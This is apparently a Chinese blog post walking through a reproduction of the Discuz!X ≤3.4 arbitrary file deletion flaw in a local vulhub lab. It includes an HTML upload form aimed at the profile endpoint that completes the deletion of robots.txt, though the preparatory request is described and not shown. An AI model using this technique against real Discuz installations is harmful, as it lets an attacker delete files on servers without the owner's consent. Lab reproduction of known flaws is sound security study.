Discuz 3.x 任意文件删除漏洞复现

最新推荐文章于 2024-05-23 15:06:54 发布

小白头发少

最新推荐文章于 2024-05-23 15:06:54 发布

阅读量2.1k

点赞数 1

分类专栏： vulhub 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41048303/article/details/121751402

版权

vulhub 专栏收录该内容

10 篇文章 0 订阅

订阅专栏

Discuz!X ≤3.4 任意文件删除漏洞

1.漏洞环境

执行docker-compose up -d 启动后，访问http://192.168.1.142/install来安装discuz
在这里插入图片描述

2.漏洞复现

访问http://192.168.1.142/robots.txt可见robots.txt是存在的
注册用户hahaha
在个人设置页面找到自己的formhash
带上自己的Cookie、formhash发送如下数据包
查看个人设置页面的出生地

构造upload.html,写上自己的formhash

<body>
    <form action="http://192.168.1.142/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=
[formhash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

用浏览器打开该页面，上传一个正常图片。此时脏数据应该已被提取出，漏洞已经利用结束。

再次访问http://your-ip/robots.txt，发现文件成功被删除：
在这里插入图片描述

参考连接 https://vulhub.org/#/environments/discuz/x3.4-arbitrary-file-deletion/

小白头发少

关注

1
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
Discuz 3.x 任意文件删除漏洞复现

Discuz!X ≤3.4 任意文件删除漏洞1.漏洞环境执行docker-compose up -d 启动后，访问http://192.168.1.142/install来安装discuz2.漏洞复现访问http://192.168.1.142/robots.txt可见robots.txt是存在的注册用户hahaha在个人设置页面找到自己的formhash带上自己的Cookie、formhash发送如下数据包查看个人设置页面的出生地构造upload.ht
复制链接

扫一扫